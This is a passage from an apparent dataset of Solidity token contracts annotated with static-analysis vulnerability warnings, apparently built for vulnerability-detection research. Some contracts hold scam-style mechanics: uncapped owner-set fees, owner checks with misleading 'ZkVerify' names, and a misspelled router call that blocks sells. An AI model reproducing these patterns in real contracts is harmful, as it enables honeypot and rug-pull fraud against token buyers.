'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 8ad7bef): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 8ad7bef: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (\n from != owner() &&\n to != owner() &&\n to != _taxWallet &&\n limitsInEffect\n ) {\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount >= _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount >= _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount >= _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount >= _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 6eb7e66\n\t\t\t\t// reentrancy-benign | ID: f926d04\n\t\t\t\t// reentrancy-eth | ID: 8ad7bef\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 6eb7e66\n\t\t\t\t\t// reentrancy-eth | ID: 8ad7bef\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 8ad7bef\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 8ad7bef\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 8ad7bef\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-benign | ID: f926d04\n if (!limitsInEffect) taxAmount = 0;\n\n\t\t\t// reentrancy-events | ID: 6eb7e66\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 8ad7bef\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 8ad7bef\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 6eb7e66\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function removeTxLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeAllLimits() external {\n limitsInEffect = false;\n\n require(_msgSender() == _taxWallet);\n }\n\n function swapBackSettings(bool enabled, uint256 swapThreshold) external {\n require(_msgSender() == _taxWallet);\n\n taxAmount = swapThreshold;\n\n swapEnabled = enabled;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: ae79a8f): Trump2_0.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for ae79a8f: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 6eb7e66\n\t\t// reentrancy-events | ID: e10d4fa\n\t\t// reentrancy-eth | ID: 8ad7bef\n\t\t// arbitrary-send-eth | ID: ae79a8f\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 9750e7a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 9750e7a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: e9e4052): Trump2_0.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for e9e4052: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 11fec8d): Trump2_0.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 11fec8d: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 98010a6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 98010a6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n if (\n IUniswapV2Factory(uniswapV2Router.factory()).getPair(\n uniswapV2Router.WETH(),\n address(this)\n ) == address(0)\n ) {\n\t\t\t// reentrancy-benign | ID: 9750e7a\n\t\t\t// reentrancy-eth | ID: 98010a6\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .createPair(uniswapV2Router.WETH(), address(this));\n } else {\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .getPair(uniswapV2Router.WETH(), address(this));\n }\n\n\t\t// reentrancy-benign | ID: 9750e7a\n\t\t// unused-return | ID: e9e4052\n\t\t// reentrancy-eth | ID: 98010a6\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 9750e7a\n\t\t// unused-return | ID: 11fec8d\n\t\t// reentrancy-eth | ID: 98010a6\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 9750e7a\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 98010a6\n tradingOpen = true;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 6eb7e66\n\t\t// reentrancy-events | ID: e10d4fa\n\t\t// reentrancy-benign | ID: f926d04\n\t\t// reentrancy-benign | ID: 604bddc\n\t\t// reentrancy-eth | ID: 8ad7bef\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 806f5fe): Trump2_0.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for 806f5fe: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external onlyOwner {\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: 806f5fe\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function manualSwap(uint256 tokenAmount) external {\n require(_msgSender() == _taxWallet);\n\n if (tokenAmount > 0 && swapEnabled) {\n swapTokensForEth(tokenAmount);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_1002.sol",
"size_bytes": 22069,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: unlicense\npragma solidity ^0.8.0;\n\nlibrary SafeMath {\n function tryAdd(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n uint256 c = a + b;\n\n if (c < a) return (false, 0);\n\n return (true, c);\n }\n }\n\n function trySub(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b > a) return (false, 0);\n\n return (true, a - b);\n }\n }\n\n function tryMul(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (a == 0) return (true, 0);\n\n uint256 c = a * b;\n\n if (c / a != b) return (false, 0);\n\n return (true, c);\n }\n }\n\n function tryDiv(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a / b);\n }\n }\n\n function tryMod(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a % b);\n }\n }\n\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n return a + b;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return a - b;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n return a * b;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return a / b;\n }\n\n function mod(uint256 a, uint256 b) internal pure returns (uint256) {\n return a % b;\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b <= a, errorMessage);\n\n return a - b;\n }\n }\n\n function per(uint256 a, uint256 b) internal pure returns (uint256) {\n require(b <= 100, \"Percentage must be between 0 and 100\");\n\n return (a * b) / 100;\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a / b;\n }\n }\n\n function mod(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a % b;\n }\n }\n}\n\ninterface IUniswapFactory {\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function swapExactTokensForETHSupportingFreelyOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n}\n\ncontract TREND {\n struct StoreData {\n address tokenMkt;\n uint8 buyFee;\n uint8 sellFee;\n }\n\n string private _name = unicode\"TREND\";\n\n string private _symbol = unicode\"TREND\";\n\n uint8 public constant decimals = 18;\n\n uint256 public constant totalSupply = 10_500_000_000 * 10 ** decimals;\n\n StoreData public storeData;\n\n uint256 constant swapAmount = totalSupply / 100;\n\n error Permissions();\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed TOKEN_MKT,\n address indexed spender,\n uint256 value\n );\n\n mapping(address => uint256) public balanceOf;\n\n mapping(address => mapping(address => uint256)) public allowance;\n\n address public pair;\n\n IUniswapV2Router02 constant _uniswapV2Router =\n IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n bool private swapping;\n\n bool private tradingOpen;\n\n constructor() {\n uint8 _initBuyFee = 0;\n\n uint8 _initSellFee = 0;\n\n storeData = StoreData({\n tokenMkt: msg.sender,\n buyFee: _initBuyFee,\n sellFee: _initSellFee\n });\n\n balanceOf[msg.sender] = totalSupply;\n\n allowance[address(this)][address(_uniswapV2Router)] = type(uint256).max;\n\n emit Transfer(address(0), msg.sender, totalSupply);\n }\n\n receive() external payable {}\n\n function changeInfo(string memory name_, string memory symbol_) external {\n if (msg.sender != _decodeTokenMktWithZkVerify()) revert Permissions();\n\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function taxRemove(uint8 _buy, uint8 _sell) external {\n if (msg.sender != _decodeTokenMktWithZkVerify()) revert Permissions();\n\n _upgradeStoreWithZkProof(_buy, _sell);\n }\n\n function _upgradeStoreWithZkProof(uint8 _buy, uint8 _sell) private {\n storeData.buyFee = _buy;\n\n storeData.sellFee = _sell;\n }\n\n function _decodeTokenMktWithZkVerify() private view returns (address) {\n return storeData.tokenMkt;\n }\n\n function openTrading() external {\n require(msg.sender == _decodeTokenMktWithZkVerify());\n\n require(!tradingOpen);\n\n address _factory = _uniswapV2Router.factory();\n\n address _weth = _uniswapV2Router.WETH();\n\n address _pair = IUniswapFactory(_factory).getPair(address(this), _weth);\n\n pair = _pair;\n\n tradingOpen = true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool) {\n allowance[from][msg.sender] -= amount;\n\n return _transfer(from, to, amount);\n }\n\n function approve(address spender, uint256 amount) external returns (bool) {\n allowance[msg.sender][spender] = amount;\n\n emit Approval(msg.sender, spender, amount);\n\n return true;\n }\n\n function transfer(address to, uint256 amount) external returns (bool) {\n return _transfer(msg.sender, to, amount);\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 04925de): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 04925de: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 242b45a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 242b45a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal returns (bool) {\n address tokenMkt = _decodeTokenMktWithZkVerify();\n\n require(tradingOpen || from == tokenMkt || to == tokenMkt);\n\n balanceOf[from] -= amount;\n\n if (\n to == pair &&\n !swapping &&\n balanceOf[address(this)] >= swapAmount &&\n from != tokenMkt\n ) {\n swapping = true;\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = _uniswapV2Router.WETH();\n\n\t\t\t// reentrancy-events | ID: 04925de\n\t\t\t// reentrancy-eth | ID: 242b45a\n _uniswapV2Router\n .swapExactTokensForETHSupportingFreelyOnTransferTokens(\n swapAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n\n\t\t\t// reentrancy-events | ID: 04925de\n\t\t\t// reentrancy-eth | ID: 242b45a\n payable(tokenMkt).transfer(address(this).balance);\n\n\t\t\t// reentrancy-eth | ID: 242b45a\n swapping = false;\n }\n\n (uint8 _buyFee, uint8 _sellFee) = (storeData.buyFee, storeData.sellFee);\n\n if (from != address(this) && tradingOpen == true) {\n uint256 taxCalculatedAmount = (amount *\n (to == pair ? _sellFee : _buyFee)) / 100;\n\n amount -= taxCalculatedAmount;\n\n\t\t\t// reentrancy-eth | ID: 242b45a\n balanceOf[address(this)] += taxCalculatedAmount;\n }\n\n\t\t// reentrancy-eth | ID: 242b45a\n balanceOf[to] += amount;\n\n\t\t// reentrancy-events | ID: 04925de\n emit Transfer(from, to, amount);\n\n return true;\n }\n}\n",
"file_name": "solidity_code_10020.sol",
"size_bytes": 8972,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract WDK is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n mapping(address => uint256) private _holderLastTransferTimestamp;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 56582a4): WDK._taxWallet should be immutable \n\t// Recommendation for 56582a4: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: d3e205e): WDK._initialBuyTax should be constant \n\t// Recommendation for d3e205e: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 97f7db7): WDK._initialSellTax should be constant \n\t// Recommendation for 97f7db7: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 22;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 880507c): WDK._reduceBuyTaxAt should be constant \n\t// Recommendation for 880507c: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: ba8d39d): WDK._reduceSellTaxAt should be constant \n\t// Recommendation for ba8d39d: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2e29b2a): WDK._preventSwapBefore should be constant \n\t// Recommendation for 2e29b2a: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 23;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Tether AI Agent\";\n\n string private constant _symbol = unicode\"WDK\";\n\n uint256 public _maxTxAmount = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 89244bb): WDK._taxSwapThreshold should be constant \n\t// Recommendation for 89244bb: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5926283): WDK._maxTaxSwap should be constant \n\t// Recommendation for 5926283: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n bool private transferDelayEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 56000a4): WDK.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 56000a4: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 92fa98e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 92fa98e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 32c42a7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 32c42a7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 92fa98e\n\t\t// reentrancy-benign | ID: 32c42a7\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 92fa98e\n\t\t// reentrancy-benign | ID: 32c42a7\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d56ec9e): WDK._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for d56ec9e: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 32c42a7\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 92fa98e\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 7ca9306): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 7ca9306: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: c795cb4): 'tx.origin'-based protection can be abused by a malicious contract if a legitimate user interacts with the malicious contract.\n\t// Recommendation for c795cb4: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: ef5dabd): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for ef5dabd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (transferDelayEnabled) {\n if (\n to != owner() &&\n to != address(uniswapV2Router) &&\n to != address(uniswapV2Pair)\n ) {\n\t\t\t\t\t// tx-origin | ID: c795cb4\n require(\n _holderLastTransferTimestamp[tx.origin] < block.number,\n \"_transfer:: Transfer Delay enabled. Only one purchase per block allowed.\"\n );\n\n _holderLastTransferTimestamp[tx.origin] = block.number;\n }\n }\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 7ca9306\n\t\t\t\t// reentrancy-eth | ID: ef5dabd\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 7ca9306\n\t\t\t\t\t// reentrancy-eth | ID: ef5dabd\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: ef5dabd\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: ef5dabd\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: ef5dabd\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 7ca9306\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: ef5dabd\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: ef5dabd\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 7ca9306\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 7ca9306\n\t\t// reentrancy-events | ID: 92fa98e\n\t\t// reentrancy-benign | ID: 32c42a7\n\t\t// reentrancy-eth | ID: ef5dabd\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n transferDelayEnabled = false;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 